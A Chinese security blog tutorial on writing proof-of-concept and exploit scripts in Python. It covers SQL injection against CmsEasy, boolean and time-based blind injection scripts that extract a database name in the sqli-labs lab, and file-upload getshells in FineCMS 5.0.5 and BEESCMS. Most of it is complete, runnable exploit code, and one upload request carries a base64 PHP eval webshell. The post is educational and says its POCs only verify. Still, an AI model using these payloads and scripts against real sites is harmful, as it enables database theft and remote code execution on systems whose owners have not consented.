简介

  • POC,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化,在安全中可以理解成为漏洞验证程序
  • EXP:全称Exploit,英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞
  • POC与EXP的区别:POC是证明观点,一般是样本;EXP是漏洞利用,一般是程序。如果发现漏洞,给出POC可以写出EXP;
  • POC框架:就是一个批量调用,管理POC的程序
  • POC编写流程:

    • 根据漏洞详情找到影响版本,并搭建靶场
    • 分析漏洞详情,编写代码
    • 测试POC

SQL注入型

报错注入

漏洞复现

  • 先复现一下该漏洞。参考漏洞详情,可知http://server.com/cmseasy/celive/live/header.php存在一处漏洞,这里使用HackBarPOST一下

需要强调一点,在扫描的过程中,只需要证明漏洞存在就行。并且报告中不能出现管理员账号密码,只需要证明可以执行SQL语句即可
  • 因此需要修改Payload,输出CmsEasy的MD5值:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

poc-sql-1

POC

  • 使用Python提交POST请求,并打印结果
# -*- coding:utf-8 -*-

import urllib
import urllib2

def check():
    target = "http://server.com/cmseasy/celive/live/header.php" 
    # Payload
    data = {
        "xajax":"LiveMessage",
        "xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
        }
    req = urllib2.Request(target, data=urllib.urlencode(data))
    response = urllib2.urlopen(req)
    text = response.read()
    print text

    
if __name__ == '__main__':
    check()
  • 判断一下打印结果是否包含CmsEasy的MD5值,这里需要使用hashlib
# print text
if hashlib.md5('CmsEasy').hexdigest() in text:
    print "%s is vulnerable" % target
else:
    print "%s is not vulnerable" % target
    
  • 增加input,实现批量调用
 
def check(domain):
    target = "%s/cmseasy/celive/live/header.php" % domain
    # Payload
    # ...
    
if __name__ == '__main__':
    domain = raw_input("请输入域名: ")
    check(domain)
    
  • 增加命令行调用,需要使用sys
 if __name__ == '__main__':
    arg = sys.argv
    domain = ''
    if len(arg) == 2:
        domain = arg[1]
        check(domain)
    else:
        print u"使用说明: python %s IP/域名" % (arg[0])

完整代码

# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-1.py
"""

import urllib
import urllib2
import hashlib
import sys
 
def check(domain):
    target = "%s/cmseasy/celive/live/header.php" % domain
    # target = "http://server.com/cmseasy/celive/live/header.php"
    # Payload
    data = {
        "xajax":"LiveMessage",
        "xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
        }
    req = urllib2.Request(target, data=urllib.urlencode(data))
    response = urllib2.urlopen(req)
    text = response.read()
    # print text  # 输出一下
    if hashlib.md5('CmsEasy').hexdigest() in text:
        print "%s is vulnerable" % target
    else:
        print "%s is not vulnerable" % target


if __name__ == '__main__':
    arg = sys.argv
    domain = ''
    if len(arg) == 2:
        domain = arg[1]
        check(domain)
    else:
        print u"使用说明: python %s IP/域名" % (arg[0])

布尔盲注

POC

  • 只需要验证漏洞存在,这里使用1-1即可根据是否返回You are in判断是否存在漏洞
def POC(url):
    payload = ['1', '-1']
    r1 = requests.get(url + payload[0])
    r2 = requests.get(url + payload[1])
    if ("You are in" in r1.text) and ("You are in" not in r2.text):
        print "True"
    else:
        print "False"


if __name__ == '__main__':
    url = 'http://test.com/sql/Less-5/?id='
    POC(url)
 

EXP

  • 这里先猜解一下当前库名的长度,当and的两边均为True时返回You are in。此处可判断库名长度为8
?id=1' and (length(database())=1)--+
?id=1' and (length(database())=2)--+
......
?id=1' and (length(database())=8)--+  # 返回You are in
  • 使用Python实现:
url = 'http://test.com/sql/Less-5/?id=1'
db_length = 0
for i in range(1, 20):
    payload = "' and (length(database())=%d)--+" % i
    # print(url+payload)
    r = requests.get(url + payload)
    if "You are in" in r.text:
        db_length = i
        print "Current_db_length: %d" % db_length
  • 接下来猜库名。使用left(database(),1)函数,从左往右返回库名的i位,然后跟后面的字符进行比较

    • 库名为:security
    • left(database(),1),返回s
    • left(database(),2),返回se
    • left(database(),8),返回security
...
test.com/sql/Less-5/?id=1' and left(database(),1)='s' --+
...
test.com/sql/Less-5/?id=1' and left(database(),2)='se' --+
...
test.com/sql/Less-5/?id=1' and left(database(),3)='sec' --+
...
  • 代码如下:
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1, db_length+1):
    for c in char:
        payload = "' and left(database(),%d)='%s' --+" % (i, db_name+c)  # 
        r = requests.get(url + payload)
        if "You are in" in r.text:
            db_name += c   # 将当前字符加到库名,并跳出循环
            print "Current_db_name: %s" % db_name
            break

完整代码

# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-2.py
"""

import requests

def POC(url):
    payload = ['1', '-1']
    r1 = requests.get(url + payload[0])
    r2 = requests.get(url + payload[1])
    if ("You are in" in r1.text) and ("You are in" not in r2.text):
        print "True"
    else:
        print "False"


def EXP(url):
    db_length = 0
    db_name = ''
    char = 'abcdefghijklnmopqrstuvwxyz_-'

    for i in range(1, 20):
        payload = "' and (length(database())=%d)--+" % i
        r = requests.get(url + payload)
        if "You are in" in r.text:
            db_length = i
            print "Current_db_length: %d" % db_length

    for i in range(1, db_length+1):
        for c in char:
            payload = "' and left(database(),%d)='%s' --+" % (i, db_name + c)
            r = requests.get(url + payload)
            if "You are in" in r.text:
                db_name += c  # 将当前字符加到库名,并跳出循环
                print "Current_db_name: %s" % db_name
                break


if __name__ == '__main__':
    url = 'http://test.com/sql/Less-5/?id='
    POC(url)
    EXP(url+'1')

时间盲注

POC

  • 根据响应时间来确定是否存在漏洞,Payload:?id=1'and sleep(5) --+
  • POC如下,通过调用time()函数来确定响应时间
# -*- coding:utf-8 -*-

import requests
import time

def POC(url):
    payload = "1' and sleep(5) --+"
    t1 = time.time()
    requests.get(url + payload)
    t2 = time.time()
    if t2-t1 >=5 :
        print "True"
    else:
        print "False"

if __name__ == '__main__':
    url = "http://test.com/sql/Less-5/?id=1"
    POC(url)

EXP

  • 判断库名长度。这里延时5秒太长了,故修改为2秒
db_length = 0
    
for i in range(1,20):
    payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
    t1 = time.time()
    requests.get(url + payload)
    t2 = time.time()
    if t2-t1 >= 2:
        db_length = i
        print "Current_db_length: %d" % db_length
        break
  • 猜解库名。这里的方法和前面布尔盲注差不多,Payload使用if()left()函数,当满足条件时则延时2秒
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1, db_length+1):
    for c in char:
        payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
        t1 = time.time()
        r = requests.get(url + payload)
        t2 = time.time()
        if t2-t1 >= 2:
            db_name += c  # 将当前字符加到库名,并跳出循环
            print "Current_db_name: %s" % db_name
            break

完整代码

# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-3.py
"""

import requests
import time

def POC(url):
    payload = "1' and sleep(5) --+"
    t1 = time.time()
    requests.get(url + payload)
    t2 = time.time()
    if t2-t1 >=5 :
        print "True"
    else:
        print "False"


def EXP(url):
    db_length = 0
    db_name = ''
    char = 'abcdefghijklnmopqrstuvwxyz_-'

    for i in range(1,20):
        payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
        t1 = time.time()
        requests.get(url + payload)
        t2 = time.time()
        if t2-t1 >= 2:
            db_length = i
            print "Current_db_length: %d" % db_length
            break

    for i in range(1, db_length+1):
        for c in char:
            payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
            t1 = time.time()
            r = requests.get(url + payload)
            t2 = time.time()
            if t2-t1 >= 2:
                db_name += c  # 将当前字符加到库名,并跳出循环
                print "Current_db_name: %s" % db_name
                break

if __name__ == '__main__':
    url = "http://test.com/sql/Less-5/?id=1"
    POC(url)
    EXP(url)

文件上传型

前台Getshell

漏洞复现

  • 漏洞源码:Github - dayrui/finecms。最新的源码v5.1已修复此漏洞,通过翻查Commit找到了FineCMS v5.0.5版的源码,成功复现

    • Tip:安装时若出现PHP未开启Mcrypt扩展,原因是Mcrypt库已在PHP7.1中弃用,并在PHP7.2中删除(参考PHP手册 - Mcrypt),使用低版本PHP即可。
  • 进入网站首页,使用默认账号密码admin/admin登陆,自动跳转到会员中心,点击上传头像,开启Burp抓包,任意选择一张图片并点击保存
  • 根据漏洞详情,将POST包中的image/jpeg修改为image/php,点击提交。响应中含有status关键字表示漏洞存在

poc-upload-1.jpg

  • 这里不能直接上传一句话木马,但是可以通过POST数据进行写入,需要进行Base64编码。修改数据包如下:
tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKIGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Cj8+

poc-upload-2.jpg

POC

  • 根据前面复现步骤,验证过程大概是:注册-登陆-上传一个php文件-验证是否上传成功
  • 完整POC。这里参考了别人的POC,需要注意的是POC仅作验证,因此不能写入木马,这里只写一个phpinfo()
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-1.py
"""

import random
import requests

def POC(url):
    s = requests.session()
    username = random.randint(0, 999999)

    # 注册
    register_url = url + "/index.php?s=member&c=register&m=index"
    register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
                        "data[email]": "admin@admin.com"}
    register_response = s.post(register_url, data=register_payload)

    # 登陆
    login_url = url + "/index.php?s=member&c=login&m=index"
    login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
    login_response = s.post(login_url, data=login_payload)

    # 上传
    upload_url = url + "/index.php?s=member&c=account&m=upload"
    upload_payload = {"tx": "data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}
    upload_response = s.post(upload_url, data=upload_payload).content

    if "status" in upload_response:
        return True
    return False


if __name__ == '__main__':
    url = "http://server.com/"
    print POC(url)

后台Getshell

漏洞复现

  • 搭建完成后,根据漏洞详情,访问index.php,POST一下数据
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

poc-upload-3.jpg

  • 访问admin/upload.php,上传文件。并将Content-Type修改为image/png。这里上传一个phpinfo

poc-upload-4.jpg

POC

# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-2.py
"""
import requests


def POC(url):
    login_payload = {
        '_SESSION[login_in]': '1',
        '_SESSION[admin]': '1',
        '_SESSION[login_time]': '999999999999'
    }
    r = requests.post(url=url, data=login_payload)
    cookie = r.cookies["PHPSESSID"]

    attack_url = url.replace("index.php", "admin/upload.php")
    payload = {
        'up': (
            'shell.php',
             "<?php phpinfo(); ?> ",
            'image/png',
        ),
    }
    attack_cookie = {'PHPSESSID': cookie}
    upload_response = requests.post(attack_url, cookies=attack_cookie, files=payload)

    if ".php" in upload_response.text:
        return "True"
    return "False"


if __name__ == '__main__':
    url = "http://server.com/beescms/index.php"
    print POC(url)

其它

最后修改:2020 年 04 月 21 日 11 : 24 PM
如果觉得我的文章对你有帮助,请我吃颗糖吧~